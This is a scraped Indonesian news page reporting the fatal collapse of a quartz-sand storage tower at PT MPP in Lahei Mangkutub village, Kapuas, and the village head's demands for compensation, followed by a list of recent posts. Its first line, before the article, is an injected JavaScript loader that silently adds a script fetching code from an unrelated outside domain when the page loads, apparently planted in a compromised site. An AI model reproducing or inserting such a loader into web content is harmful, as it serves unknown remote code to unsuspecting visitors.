(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

Pekerja Lokal Tewas Tertimpa Tower Penampungan Pasir Kuarsa, Ini Tuntutan Kades


KANALKALIMANTAN. COM, KUALA KAPUAS – Musibah robohnya corong atau tower penampung pasir kuarsa milik PT MPP yang beroperasi di Desa Lahei Mangkutub, Kecamatan Mantangai, Kabupaten Kapuas, Selasa (13/7/2021) , menewaskan seorang pekerja lokal.

Korban bernama Ahmad Albar (20), warga Desa Lahei Mangkutub RT 07, Kecamatan Mantangai, meninggal dunia tertimpa tower penampung pasir tersebut. Dalam kejadian juga ada pekerja warga negara asing (WNA) yang selamat, namun mengalami luka hingga dilarikan ke rumah sakit di Palangkaraya.

Terkait insiden robohnya tower tersebut, Kepala Desa Lahei Mangkutub, Ugak mengatakan, atas nama pemerintah desa dan mewakili saudara dari korban, meminta kepedulian PT MPP untuk membantu korban.

Baca juga: Relawan PPKM Mikro Kaladan Jaya-Puskesmas Mantangai Pantau Kegiatan Posyandu Lansia

 

 

“Kalau memang pihak perusahaan tidak membantu korban akibat runtuhnya tower itu, maka kami selaku kepala desa Lahei Mangkutub akan melakukan penutupan perusahaan tersebut, walaupun mempunyai izin resmi,” tegasnya.

Memang pihak PT MPP telah memberikan santunan biaya pemakaman sebesar Rp 20 juta kepada pihak keluarga korban, namun pihak perusahaan juga berjanji memberikan bantuan kembali.

Kades Lahei Mangkutub Ugak. Foto: ags

“Kami mewakili pihak keluarga korban akan menuntut janji tersebut, apabila janji tidak sesuai atau sengaja lupa, maka selaku pihak keluarga korban dan atas nama kepala desa Lahei mangkutub akan melakukan penutupan terhadap PT MPP,” tegas Kades Lahei Mangkutub.

Baca juga: Malaysia Dapat Ratusan Izin Haji dari Arab Saudi

Kades Lahei Mangkutub menjelaskan, dengan kejadian ini menjadi pengalaman bagi pihak perusahaan khususnya PT MPP, agar melaksanakan fungsinya sebagai perusahaan, terutama yang berada di Desa Lahei Mangkutub. Para pekerja itu semua mempunyai hak-hak yang benar-benar sebagai karyawan di PT MPP sesuai dari dinas ketenaga kerjaan.

“Jangan hanya pihak perusahaan menggunakan lelah kita sebagai masyarakat yang diperlukan, sementara kewajiban perusahaan tidak dilaksanakan,” ucap Kades Lahei Mangkutub, Jumat (16/7/2021).

“Harapan kami selaku kepala desa Lahei Mangkutub, terutama bukan hanya perusahaan ini saja, akan tetapi seluruh perusahaan di wilayah Desa Lahei Mangkutub, agar melaksanakan kewajibannya, apalagi telah memperkerjakan warga negara asing,” ucap Ugak. (kanalkalimantan.com/ags)

Editor : kk


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.